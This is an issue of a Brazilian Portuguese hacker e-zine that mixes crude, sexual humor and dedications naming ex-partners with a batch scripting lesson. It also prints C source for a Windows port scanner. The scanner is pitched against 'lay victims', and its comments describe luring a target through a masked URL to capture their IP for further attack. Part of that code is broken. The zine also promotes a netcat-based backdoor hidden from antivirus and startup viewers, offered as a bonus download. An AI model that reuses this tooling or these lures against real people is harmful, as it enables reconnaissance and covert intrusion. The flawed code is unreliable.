||$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ||$$$$$[[[+ ========================================== ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ -[+]------------------------[+]- ||$$$$$[[[+ C.O.D.E ||$$$$$[[[+ ||$$$$$[[[+ COMPUTADORES - ORGASMO - DESTRUIÇÃO - ||$$$$$[[[+ 'E-ZINES' ||$$$$$[[[+ [As 4 coisas que eu mais gosto na vida] ||$$$$$[[[+ ||$$$$$[[[+ Caroline's Horny edition ||$$$$$[[[+ Poderosa cor de rosa que leva. ||$$$$$[[[+ ||$$$$$[[[+ -[+]----------[+]- ||$$$$$[[[+ \ | / ||$$$$$[[[+ [EU AMO NAO TER BANNER oO -.- Oo] ||$$$$$[[[+ ||$$$$$[[[+ NAO MANDE MAIS SEUS ASCIIs PARA ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ [Talvez com psicologia reversa alguem ||$$$$$[[[+ possa enviar ASCIIs legais] ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ ========================================== ||XXANO 1 - Nº02 00/00/2008 BY 6_Bl4ck9_f0x6 XXXXXXXXXX ||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ==================================================== ===============DXXX=============================xxxxx======= ----- C4p1Tul0 00 [=] + ============================================================= + [=] Introducao (Editada) [=] + ============================================================= + [=] Primeiramente gostaria de dedicar essa edicao a todos que leram a entrevista com os caras do grupo "culto da vaca morta comunicacoes" (fundado nos anos 30) ou como eh popularmente conhecido no meio hacker: Cult of the Dead Cow Comunications. BBC Panorama Interview with Deth Veggie and Sir Dystic of the Cult of the Dead Cow Os que leram, sabem o porque, e talvez possam me contar. Olah galerinha do mal (com l mesmo), sentiram saudades do tio f0x? Depois de tanto tempo estou eu aqui escrevendo +1 edicao da C.O.D.E (olha o Struck). Achu que voces nao aguentam mais ter duas introducaes. Espero que saibam que a primeira intro (essa que vc estah sucintamente passando o olho) como usual eh utilizada por mim para me desculpar pela demora desta e de outras eds que demorarem para sair e tals (A ultima foi em 2008, imagina quanto tempo vai demorar a proxima), a outra introducao jah e falando do que vai ter na zine e falando sobre os bonus que acompanham essa edicao (Nunca mandei essas merdas) Bonus eh legal, conheco uma bicha que compra chiclete soh pra ter as figurinhas como bonus, chiclete maldito (nao to comendo mais essas coisas). Voces devem estar querendo saber porque a zine atrasou. ===================== Uma semana depois ===================== Atrasou porque eu quis, kcete... [s] [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] ########################################################## #Que a força esteja com voce jovem - (star wars_) #......................................................... ########################################################## [xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] #include ....................................../6_Bl4ck9_f0x6 #include ............................./6_Bl4ck9_f0x6 #include ......................................./6_Bl4ck9_f0x6 #include ................................../6_Bl4ck9_f0x6 #include ................................../6_Bl4ck9_f0x6 #include ......../6_Bl4ck9_f0x6 #include .........................../6_Bl4ck9_f0x6 #include ......./6_Bl4ck9_f0x6 #include ...................../6_Bl4ck9_f0x6 #include ......................../6_Bl4ck9_f0x6 #include ....................................../6_Bl4ck9_f0x6 #include ............................/6_Bl4ck9_f0x6 #include ......................../6_Bl4ck9_f0x6 #include ................................/6_Bl4ck9_f0x6 #include ............./6_Bl4ck9_f0x6 #include .........................................../6_Bl4ck9_f0x6 The End> ----- C4p1Tul0 01 [+] X======================================X +] FRASES DO DIA [+] X====================================== X+] ------------------------------ cut ---------------------------------------- H.U.M.O.R Especial Murphy - O sabio dos sabios O bom eh que nao eh preciso usar sarcarmo pra sorrir com esse capitulo. Nota: "Quando voce se sentir mal, entendiado, abra essa e-zine e logo em seguida PULE A PORRA DESSA SESSAO E SOFRA MAIS, DESGRACADO" ---> G ordinho gotico suicida du mau. "Nao se pode prender quem tem asas (kokoricooooh)". ---> Chicken says =================================================================== "Sorria... amanhã será pior." ===X====================X========================X================= "Se você está se sentindo bem, não se preocupe. Isso passa." ===X====================X========================X================= "Não importa o que sai errado, sempre dará a impressão de certo." ===X====================X========================X================= "Se a experiência funcionou na primeira tentativa, tem algo errado." ===X====================X========================X================= "Mais vale um pássaro na mão do que um voando sobre a nossa cabeça." ===X====================X========================X================= "Uma pessoa saudável é aquela que não foi suficientemente examinada." ===X====================X========================X================= "Tudo que é bom na vida é ilegal, imoral ou engorda." ===X====================X========================X================= "Por que será que números errados nunca estão ocupados?" ===X====================X========================X================= "Um atalho é sempre a distância mais longa entre dois pontos." ===X====================X========================X================= "Se você não está confuso, não está prestando atenção." ===X====================X========================X================= "Sexo leva muito menos tempo do que os problemas que dele decorrem." ===X====================X========================X================= "Sexo é como neve: você nunca sabe quantos centímetros vai atingir e o quanto vai durar." ===X====================X========================X================= "Sexo é hereditário: se seus pais não fizeram, há uma grande chance de você também não fazer." ===X====================X========================X================= "Você não pode gerar um bebê em um mês engravidando nove mulheres." ===X====================X========================X================= "Não vai doer, prometo." ===X====================X========================X================= "Na guerra, o inimigo ataca em duas ocasiões: quando ele está preparado, e quando você não está." ===X====================X========================X================= "Um plano de invasão ao quartel inimigo prova que você foi inteligente o bastante para planejar, estúpido o bastante para tentar, e sortudo o bastante se sobreviver." ===X====================X========================X================= "Sexo é uma das nove razões para a reencarnação, as outras oito não importam." ===X====================X========================X================= "Tudo leva mais tempo do que se pensa, a não ser no caso de ejaculação precoce." ===X====================X========================X================= "Você sabe que vai ser um dia ruim quando: - seu irmão gêmeo esquece o dia do seu aniversário; - você põe sua cueca ao contrário e sente que ficou mais confortável; - você acorda e descobre que seu colchão d’água está com vazamento, e então você descobre que não tem um colchão d’água." ===X====================X========================X================= "Amigos vêm e se vão, inimigos se acumulam." ===X====================X========================X================= "Cartas importantes que não contém nenhum erro serão despachadas em lugar errado. Cartas com erros aparecerão em duplicata na mesa do chefe." ===X====================X========================X================= "Uma maneira de se parar um cavalo de corrida é apostar nele." ===X====================X========================X================= "Toda partícula que voa sempre encontra um olho." ===X====================X========================X================= Não importa que voce caia, desde que voce apanhe algo no chao quando se levantar. ===X====================X========================X================= É quase sempre mais fácil entrar do que sair de qualquer coisa. ===X====================X========================X================= Voce pode observar muito só olhando. ===X====================X========================X================= Voce nunca pode identificar qual dos lados da torrada é o lado que se deve passar a manteiga. ===X====================X========================X================= Um objeto sempre cai de forma a causar o maior prejuízo possível. ===X====================X========================X================= Um contrato verbal é aquele que nao vale o papel em que seria escrito. ===X====================X========================X================= Nao importa o quando o produto custa, mas quanto voce ganha de desconto. ===X====================X========================X================= Arcebispo. Um eclesiástico cristão com o grau superior ao de Cristo. Puritaninsmo. O enorme medo de que alguém, em algum lugar, possa ser feliz. ===X====================X========================X================= Se é verdade, é biologia. Se fede, é química. Se não funciona, é fisica ===X====================X========================X================= Mal de cú é rola fina --> by Mario Miranda Magalhães ===X====================X========================X================= Sempre existe mais um bug =================================================================== ------------------------------ cut ---------------------------------------- [xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] [xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxx] [Vo da 3 tiro no seu suvaco pra voce morrer [achando graça infeliz] [xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxxx] ##############X#############X############X############### Antencao: Essa e-zine eh gratuita, se voce vender ela eu quero a minha parte. [s] ----- C4p1Tul0 02 [=] + ==========XXXX============ + [=] *** Emperial[ScanneR] *** [=] + ==========XXXX============ + [=] As vezes nos precisamos varrer algumas portas em um sistema X e nao temos uma ferrramenta pratica, simples e crua. Recorremos ao nmap apenas para ver algumas portinhas e tals, mas o nmap tem muitos componentes e o PC num é teu, dai complica extract to system32 caso voce nao saiba editar um PATH na sua vida, mas para evitar isso eu fiz esse scanner de portas simples e pratico. Quando nossa vitima é leiga se faz necessario a utilização de algum scanner qualquer para nos mostrar o que queremos, os scanners de portas. Usando TCP syn é muito facil detectar um scan, mas como sempre -> vitimas leigas nao contam <- Espero que voces gostem da ferramenta, ela está sendo muito util para mim. ---- Emp_scan.c ---- /* * Emperial[ScanneR] v0.1 by 6_Bl4ck9_f0x6 * * --> Windows <-- * * [X] ============X==============X===== [X] * XxX VIPER CORP GROUP XxX * <-> Underground Max <-> * [X] ============X==============X===== [X] * * Port Scanner TCP/HandShake * com Funcionalidades de * -> Footprint <- * * --------------------------------------------------------------- * [ -> Dedico essa ferramenta e todas as outras que surgirem <- ] * [ -> a todos os membros desse grupo de potencial, um abraço <- ] * [ -> a todos os caras do grupo e um beijo para todas as <- ] * [ -> minas, em especial a mais nova integrante do grupo <- ] * -> Mina Mistery <- * --> Espero que fique ao nosso lado por muito tempo. <-- * --------------------------------------------------------------- * * * Atenção: Para usar a funcionalidade de http footprint * Use: Emp_scan.exe http/footprint * * OBS: Deixe seu firewall abrir a porta 80 de seu host * para receber as conexões de suas vitimas. * * Use um redirecionador de URL e mascare seu IP. * Logo depois mande seu endereço Mascarado para * a vitima, quando a mesma acessar voce terá o * endereço IP dela e informações uteis para um * ataque mais ofensivo do que o FootPrint. Con- * sulte a documentação. Baixe-a em: * * http://www.hunterhacker.xpg.com.br/Emp_scan_Document.pdf */ // HTTP/FOOTPRINT EM DESENVOLVIMENTO. #include #include #include #include #include #define BADSTAT -1 #define BACKLOG 10 #define MINDHUNTER "http/footprint" int tsuder (void){ printf (" 6"); Sleep (200); printf ("_"); Sleep (100); printf ("B"); Sleep (200); printf ("l"); Sleep (100); printf ("4"); Sleep (200); printf ("c"); Sleep (100); printf ("k"); Sleep (200); printf ("9"); Sleep (100); printf ("_"); Sleep (200); printf ("f"); Sleep (100); printf ("0"); Sleep (200); printf ("x"); Sleep (200); printf ("6\n\n"); Sleep (100); } WSADATA dados; struct sockaddr_in vitima; struct sockaddr_in list_ing; char banner[255], my_footprint[255]; char buffer_received[255]; char httpfoot[sizeof (MINDHUNTER)]; int main (int argc, char *argv[]){ int x=0, i=0, size, check; int my_sock, connectx, door; char about[]=" Emperial[ScanneR] \n\n\ BY\n"; system ("cls"); if (argc==1){goto Smile;} /* Anti Stack Overflow: */ strncpy (httpfoot, argv[1], strlen (MINDHUNTER)); printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot)); if (strcmp (httpfoot, MINDHUNTER) == 0){ system ("cls"); system ("title HTTP FootPrint"); printf ("HTTP FootPrint by 6_Bl4ck9_f0x6\n\ Copyright 2006-2008 Viper Corp.\n\n"); printf ("======================================================\n"); printf ("%s\n", about); tsuder (); if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){ fprintf (stderr, "Erro ao iniciar dll's de socket!\n"); WSACleanup(); exit (BADSTAT);} my_sock = socket (AF_INET, SOCK_STREAM, 0); if (my_sock == -1){ perror ("Error socket!"); WSACleanup (); exit (BADSTAT);} list_ing.sin_family = AF_INET; list_ing.sin_port = htons (80); list_ing.sin_addr.s_addr = INADDR_ANY; memset(&list_ing.sin_zero,0,8); if (bind(my_sock, (struct sockaddr *)&list_ing, sizeof (list_ing)) == -1){ fprintf (stderr, "Erro ao Bindear porta!\n"); exit (BADSTAT);} fprintf (stdout, "Porta %d em Listening...", 80); if ((listen (my_sock, BACKLOG)) == -1){ system ("cls"); puts ("Ops! Nao consegui escutar\n"); return 0;} check = accept (my_sock,0,0); if (check==-1){ puts ("Problemas na conexao!\n"); return 1;} printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n", inet_ntoa (list_ing.sin_addr), ntohs (list_ing.sin_port)); /* Fazer um looping para ele sempre voutar a escutar na porta e gravar no file os log's =) */ FILE *foot_log; if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){ puts ("Nao consegui criar o arquivo de log,\n"); puts ("possivelmente por fauta de espaco no disco\n"); // Mas da pra visualizar na shell -> puts (buffer_received =) <- return (1);} recv (my_sock, buffer_received, strlen (buffer_received),0); fprintf (foot_log, "%d", buffer_received); puts ("\nArquivo de log criado com sucesso!\n"); fclose (foot_log); printf ("\n======================================================\n"); exit (BADSTAT);} Smile: if ((argc < 4) || (argc > 4)){ printf ("\nx===x==x=====x===x=====x==x===x==x==x==x===x\ ===xx==x==\n"); printf ("%s\n", about); tsuder (); fprintf (stderr, "Uso: %s \ \n\n", argv[0]); printf ("x===x==x=====x===x=====x==x===x==x==x==x===x\ ===xx==x==\n"); Sleep (200); exit (BADSTAT);} door = atoi (argv[2]); if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){ puts ("Problemas -> WSAStartup"); exit (BADSTAT);} printf ("%s\n", about); tsuder (); fprintf (stderr, "[X] ============X==============X===== [X]\n\n"); for (door;door<= atoi (argv[3]);door++){ my_sock = socket (AF_INET, SOCK_STREAM, 0); if (my_sock == -1){ perror ("Error socket!"); WSACleanup (); exit (BADSTAT);} vitima.sin_family = AF_INET; vitima.sin_port = htons (door); vitima.sin_addr.s_addr = inet_addr (argv[1]); for (x;x<8;x++){ vitima.sin_zero[x]=(char)0;} size = sizeof (vitima); SetConsoleTitle ("Varrendo usando TCP -> SYN "); connectx = connect (my_sock, (struct sockaddr *)&vitima, size); if (connectx == SOCKET_ERROR){ fprintf (stderr, "Porta [%d] fechada\n", door);} else { fprintf (stdout, "Porta [%d] Aberta <-- \n", door); puts ("\nBanner:\n"); if (recv (my_sock, banner, sizeof (banner), 0) < 0){ fprintf (stderr, "Erro ao recever banner!\n"); exit (BADSTAT);} puts (banner); FILE *scan_log; scan_log=fopen ("scan_log.txt", "a"); if (!scan_log){ perror ("\nErro ao abrir arquivo de log -> "); printf ("\n"); continue;} fprintf (scan_log, "Porta [%d] em [%s] Aberta\ \n", door, inet_ntoa (vitima.sin_addr)); fclose (scan_log);}} fprintf (stderr, "\n[X] ============X==============X===== [X]\n"); closesocket (my_sock); WSACleanup (); return (0); } ---- cut here ---- [s] ----- C4p1Tul0 03 [=] + =========XXXX=========== + [=] Dedicatorias [=] + ==========XXXXX========= + [=] Editado em 00:50 27/3/2010 Dedico essa edicao a Juvenil silva que mora em Arapora - MG (UM DIA EU VOLTO, Soh depende do seu Osmar), que eh inesquecivel em minha vida (mesmo ele esquecendo de mim) porque faziamos ritual de consagracao de pentagrama em casas abandonadas com direito a vela vermelha, incenso e tudo mais, bebiamos feito gambas e nem tinhamos grana pra voltar pra casa, pois iamos pra cidades vizinhas e gastavamos todo nosso dinheiro com pinga e conhaque (dae eu sempre tinha que recorrer a minha madrinha) e por termos feito todo tipo de putaria que voce conseguir imaginar. Passavamos noites em lans bebendo cerveja e iamos de Goias a Minas Gerais a peh (Soh alguns minutos de caminhada =) e iamos nos finais de semana para um pomar cheirar cola com os punks. Nao posso esquecer que iamos tambem pro putero em Itumbiara (lembra?), etc ;) Véi, se eh foda. E gostaria de dedicar a mais uma pessoa, nem preciso falar o que todo mundo jah sabe, mas para quem nao sabe gostaria de dizer que dedico + essa edicao da zine 'principalmente' a minha amada, Patricia. Porque sempre me apoia mesmo eu estando errado, claro que depois de puxar minha orelha (tu sabe quantos anos eu tinha quando escrevi isso?) estou me referindo ao meu grande amor Luzinha Lu, essa zine eh pra voce, um dia apareco ai na tua casa pra nois tomar umas cervejas e fazermos uma operacao pente fino ;-) [s] ----- C4p1Tul0 04 [=] + ===XX===CC=====c========= + [=] Palavras do autor [=] + ===XX===CC=====c========= + [=] Como saber se voce estah com dor de corno: _ _ ,-'/ \`-, ( (_,-'`-,-'`\_) ) Isso eh o mais perto de um boi que eu cheguei. `. >;`--^-'-<,_.'-`-, Soh tinha vaca e tals e o bufalo (Esse daih). _>' ) _ _(`\_` `, _ _/ _/ ,6. :6 \ \_ `._/`-' `,_ `-'') _|\_ ')`-' ` `,_ '( (o_,_) _/ , `\ \_ \ \,__ _ ( , . ,' \_ `( `--^-'|, ; :;,_` ) "` |;, _,'_) >,\ /_,'\ \ > | `)`( ;( / / \ | \ /\ _/ \ (,;) :)(_<_ \ ) ( > ( ) / )( ( ) > \|_ |/ \| /` `-^-` \/ >__\ /_( ,)_\ .,|/. Well, well, well, akah estou eu 22:52 26/3/2010 escrevendo mais uma merda de edicao editada da minha merda de e-zine tosca que nao serve pra nada. Tenho demorado a publicar uma nova versao desta fatidica e-zine porque tenho tido problemas pessoais relacinonados a mulheres traidoras, caras que desejam "paz do senhor" ~~ <== Entendeu maluca? (na minha rua, da pra acreditar?) Esses malucos evangelicos... Sem contar nos que tocam a campainha enquanto voce estah jogando Warcraft III ;) e essas coisas que nos deixam afim de beber (Se toda vez que eu fosse corno eu enchesse a cara, teriamos um cadaver no ano de 2007 devido a coma em homenagem a grande Beatriz, Minha ex-namorada - Se ela me der, eu como, nada contra). Mas dessa vez foi pior, praticas extremas de tormentas exigem praticas extremas de "esportividade", de otimo bom humor. Enfim, deixa isso pra lah, todos sabem que blackhats sao meio psicoticos, tudo tem seu lado negro mesmo ;) Bem, dedico essa fatidica ezine a mina que eu comia, voce agora tem mais uma historia de gala seca na sua bunda pra contar pra tuas amigas no banheiro e eu mais uma puta no curriculo. Ainda somos amigos, neh? No cearah aprendemos que ser corno eh luxo (Maldito ex patrao, ae Nem, essa e-zine eh pra voce e pra Luh =). E pra todos os jegues aka: Jumentos e cavalos que circulam minhas redondezas (Olha que graca) Cearah... Se nao tivesse nao escreveria isso. Biae? Adios? The show must goon on (the same sarcasm)... [s] ----- C4p1Tul0 05 [=] + =======xx==============xx=========== + [=] XX -> Introducao a zine <- XX [=] + =======xx==============xx=========== + [=] Hi. Nessa edicao temos uma entrevista com nada mais nada menos que: Marcos Flavio Araujo Assuncao (meu idolo nesse tempo - e olha que eu tinha 18 anos = duh!), eh isso ae manoh, espero que gostem. Vai anexado a zine um tutorial Bonus com shots e tudo mais onde estou mostrando como remover aqueles virus e trojans de quinta categoria. Lembrando: A algum tempo DESENVOLVI uma forma de inutilizar os olhos humanos caso alguem queira visualizar os valores sequenciais nas chaves de registro do windows ou visualizar o que estah se iniciando na maquina com algum visualizador de coisas que se iniciam (Adoro brincar com meu windowszinho 32 bitinhos). Enfim, caso algum maluco use o process view ou qualquer outro visualizador de coisas que se iniciam nao vai ver nada... Procure lah na minha page algo sobre 'BackDoor Camuflagem for avast! antivirus', ta em videos. Vale lembrar que voce pode usar essa tecnica para qualquer coisa que se inicie na maquina. Essa tecnica que ate pouco tempo nao tinha nome vai ser chamar de agora em diante: 'Patricia' (Sempre). O camuflagem eh um backdoor baseado no netcat que se utiliza desta tecnica para se esconder do pessoal. OBS: A tecnica eh minha, se existir algum maluquinho divulgando ela e nao postando os creditos vai rolar ai uma perceguicaozinha a esse sugeito. Existe(M) leis sobre direitos autorias no Brasil, Pelagio pode lhe trancar... Se voce tem uma ex-namorada chamada Patricia que te traiu com um negao e voce nao gosta de ver esse nome NA MINHA TECNICA, gostaria de mandar voce se fuder (eh claro que voce nao se importa com o nome da minha tecnica, neh?). Resolvi compilar e disponibilizar o executavel para voces na zine como bonus ;) Obvio que voce nao vai sair por ai executando as coisas sem ver o que se encontra dentro dele e tals, por isso eu compilei com o Quick Batch File Compiler e a senha eh 'tsuder', mas nem esquentem que tem um file junto com o 'exe' que tb mostra a senha e mostra algumas instrucoes de uso. Tipo, nao gostei de ver o caras da revista CHMOD fazendo algo "parecido", mas que seja, tipo... Desenvolvi a patricia no natal de 2007, tenho provas (E COMO TENHO) que o post eh antigo, os caras a + ou - umas duas semanas (Nota: Hoje eh 26/3/2010) publicam a revista pegando um legitimo executavel (provalmente) e dizendo que sabem fazer a patricia, ou seja, o placker devia olhar mais essas coisas cara, tipo... sei lah, coincidencia? Acho que isso ta + pra plagio. Nesta ed da C.O.D.E temos ainda uns cursinhos legais e muinta information for y0u. [s] ----- C4p1Tul0 06 [+ ====================================== +] X xX ESPECIAL C.O.D.E XxX + Zines de ontem e de hoje + [+ ====================================== +] Venha conhecer o fantastico mundo das e-zines Hacker baby =) Nao eh de hoje venho falando sobre essas verdadeiras belezinhas da literatura, nao eh segredo pra ninguem que sou um apaixonado por essas porras que normalmente sao distribuidas em 'txt', eu simplesmente viajo caras, eh muito bacana voce le essas paradas. Ae vai mais zines para voces curtirem pessoal. Vale lembrar que nas edicoes anteriores da C.O.D.E foram mais dezenas de links para outras zines e por isso recomendo que de uma olhadinha nas outras eds tambem. Starting.... Essa primeira zine do especial C.O.D.E eu postei lah no forum-invaders.com.br, com seu respectivo comentario, va da uma olhada la e veja o que essa humilde zine significa para nossa historia irmaos. Esta eh a PRIMEIRA ZINE 'HACKER' DO Brasil, Que por sinal eh a pior e nao ensina merda nenhuma (Grande AciDmuD, ou foi o VooDoo? Ou foi todos os caras que conheco?). ========================================== Nota ironica de adulto as 00:00 27/3/2010 Esse kra eh um lamah marketeiro ateh hoje. ========================================== ____ _ ______ _ _ _ | _ \ | | | ____| | | | (_) | |_) | __ _ _ __ __ _| |_ __ _ | |__ | | ___| |_ _ __ _ ___ __ _ | _ < / _` | '__/ _` | __/ _` | | __| | |/ _ \ __| '__| |/ __/ _` | | |_) | (_| | | | (_| | || (_| | | |____| | __/ |_| | | | (_| (_| | |____/ \__,_|_| \__,_|\__\__,_| |______|_|\___|\__|_| |_|\___\__,_| BARATA ELETRICA, numero 0 Sao Paulo, 3 de dezembro de 1994 Bienio Poli - Sala 23 Cidade Universidade http://www.hunterhacker.xpg.com.br/barata00.zip http://www.hunterhacker.xpg.com.br/barata01.zip http://www.hunterhacker.xpg.com.br/barata02.zip http://www.hunterhacker.xpg.com.br/barata03.zip http://www.hunterhacker.xpg.com.br/barata04.zip http://www.hunterhacker.xpg.com.br/barata05.zip http://www.hunterhacker.xpg.com.br/barata06.zip http://www.hunterhacker.xpg.com.br/barata07.zip http://www.hunterhacker.xpg.com.br/barata08.zip http://www.hunterhacker.xpg.com.br/barata09.zip http://www.hunterhacker.xpg.com.br/barata10.zip http://www.hunterhacker.xpg.com.br/barata11.zip http://www.hunterhacker.xpg.com.br/barata12.zip http://www.hunterhacker.xpg.com.br/barata13.zip http://www.hunterhacker.xpg.com.br/barata14.zip http://www.hunterhacker.xpg.com.br/barata15.zip http://www.hunterhacker.xpg.com.br/barata16.zip http://www.hunterhacker.xpg.com.br/barata17.zip http://www.hunterhacker.xpg.com.br/barata18.zip http://www.hunterhacker.xpg.com.br/barata19.zip http://www.hunterhacker.xpg.com.br/barata20.zip http://www.hunterhacker.xpg.com.br/barata21.zip http://www.hunterhacker.xpg.com.br/barata22.zip http://www.hunterhacker.xpg.com.br/barata23.zip http://www.hunterhacker.xpg.com.br/barata24.zip http://www.hunterhacker.xpg.com.br/barata25.zip http://www.hunterhacker.xpg.com.br/barata26.zip http://www.hunterhacker.xpg.com.br/barata27.zip http://www.hunterhacker.xpg.com.br/barata28.zip ============================================ zZZZZZZZZZZZZZZZz zZ cCCCCCCCCc sSSSSSSSSs zZ cCCCCCCCCCCCCc sSSSSSSSSSSSSs zZ cCCC CCCCc sSSS SSSSs zZ cCCCc SSSSs zZ II NNn NN EEEEE CCCCC SSSSSSSSSSs zZ II NNNn NN EE CCCCC SSSSSSSSSs zZ II NN NnNN EEEE CCCCC SSSSS zZ II NN NNN EE CCCC CCCCc sSSSS SSSS zZ II NN NN EEEEE CCCCCCCCCCCCCC SSSSSSSSSSSSSS zZ CCCCCCCCCC SSSSSSSSSS zZ zZ zZ zZZZZZZZZZZZZZZZZz PS: Se você nao conseguiu ler direito, aih em cima tah escrito CSZine. Caras, nao tenho palavras para descrever uma elite, elite eh elite, ou em outras palavras: Meu idolo, soh nao vou da pra ele. Muito menos dividir mulher com ele *NAO MESMO*. 3 Sabe como eh esse negocio de fa. Ae esse maluco escreveu quando era pirralho: http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_01.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_02.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_03.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_04.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_05.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_06.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_07.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_08.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_09.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_10.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_11.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_12.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_13.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_14.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_15.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_16.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_17.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_18.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_19.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_20.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_21.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_22.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_23.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_24.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_25.txt NOTA DO AUTOR DESSA PORRA DE EDICAO QUE NAO PRESTA PRA NADA QUE ESTAH ESCREVENDO EM FONTES GRANDES APENAS PARA CHAMAR A DROGA DA SUA ATENCAO AMIGO LEITOR QUE NAO AGUENTA MAIS ESSES SEMEM ANALFABETOS QUE NAO SE UTILIZAM DE PONTUACAO E QUE ESCREVEM COM FONTES GRANDES OU MELHOR LETRA DE FORMA PARA CHAMAR A DROGA DA SUA ATENCAO E PARA FAZER VOCE SORRIR UM POUCO COM ESSA MATERIA IDIOTA ABAIXO MAS ANTES VEJA UM AVISO SOBRE ELA AGORA: 00:12 27/3/2010 Acredite, nesse tempo eu tinha 18 anos... Olha, nao mudou muita coisa nao, quando to sozinho eu choro e chamo minha mae ;) [s] ----- C4p1Tul0 07 [=] + =======xx==============xx=========== + [=] Programando em Batch Parte 3 [=] + =======xx=============xx============ + [=] Parte 3!!! Isso mesmo cara, tudo que tinha na C.O.D.E x01 vai continuar aqui (dã, dã), ou seja, não pegue o bonde andando, se voce não tem a code x00 e x01 baixem aqui: http://www.hunterhacker.xpg.com.br/CODEx00.txt http://www.hunterhacker.xpg.com.br/CODEx01.txt ================================ Controle de fluxo em batch - 'if' ================================ Controle de fluxo nada mais é que voce inserir no seu programa algo do tipo: 'Se voce digitar isso vai acontecer isso:', 'se existir isso aqui vai contecer isso aqui:'. E assim vai. Esses são os operadores de comparação que são utilizados com o comando 'if' no batch: EQU - igual NEQ - diferente LSS - menor que LEQ - menor que ou igual GTR - maior que GEQ - maior que ou igual Exemplos (espero que tenham lido as C.O.D.Es anteriores antes de proceguir): ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) pause ------ cut ------ Esse script exibe a mensagem 'Digite o numero que estou pensando:' e armazena o que foi digitado na variavel 'numero' e abaixo ele vai fazer uma comparação do que o user digitou (if %numero% == 10), se o que o maluco digitou for igual (==) a 10 ele exibe a mensagem: Ei cara, acha mesmo que eu estou pensando no %numero%?. Simples, repara que utilizei o '==' ao invez dos outros =) nem preciso de muito lega-lenga como diz minha amiga Íris. Vamos fazer varias comparações agora. ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) if %numero% == 24 (echo Linda rosa que te leva infeliz rsrs) pause ------ cut ------ Esse script acima "espera" o usuario digitar um numero (set /p numero=Digite...), e armazena o que ele digitou na variavel numero (%numero%), lembram que para ser referir a uma variavel em batch utilizamos o sinal de percento (%)? Então para comparar voce tem que usar o sinal '%', mas não precisa colocar para declarar (nesse caso). O que? Não sabe o que significa declaração? set /p numero="Ei ei ei <--- Isso e uma declaracao" Acima declarei a variavel 'numero' =) Ou seja, declarar é voce escrever no seu codigo alguma coisa, tipo, também declarei que a variavel (numero) seria do tipo 'char' rsrs hauhau!!! Desculpem a piadinha, o /p é o que determina o tipo da minha variavel, e esse tipo armazena string (texto =). Pronto, sem muito lenga-lenga (acho que não foi legal passar a noite com a Iris ontem XP). Ja que voce sabe que para comparar precisamos utilizar o sinal de percento ('%') antes e depois do nome da variavel (Exemplo: %Variavel%. Caso contrario o windows nem vai saber que voce quer comparar o valor digitado pelo user), vamos passar para as proximas etapas. Se esse numero (que foi digitado pelo user) for igual a 10 ele continua exibindo a mensagem: 'Ei cara, acha mesmo que eu estou pensando no %numero%?' Caso o usuario digite 24 (hum...) o script exibe a mensagem: Linda rosa que te leva infeliz rsrs. Repare bem ae mano, utilizei o '(' para abrir o bloco de codigo que executa a ação e utilizei o ')' para fechar o bloco de codigo que executa a ação, que será executada após um dos numeros digitados pelo usuario coincidirem com os numeros que se comparados com a variavel, executam a ação, no caso os numeros que serão comparados com a variavel (comparados com o que o user digitou) são 10 e 24 (hum... Linda rosa que te leva) Detalhe: Pra quem não sabe o 'if' significa 'se' em portugues, ou seja, estou falando a mesma coisa que: se %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) se %numero% == 24 (echo Linda rosa que te leva infeliz rsrs) Repare ae em cima no 'se' (Entendeu? =). Caso o usuario digite algo que não tem nada aver com 10 ou 24 o script continua a executar o que "não" está dentro do bloco de codigo ('(' e ')'), ou seja, ele continua executando o que vem depois, que no caso é o tal do 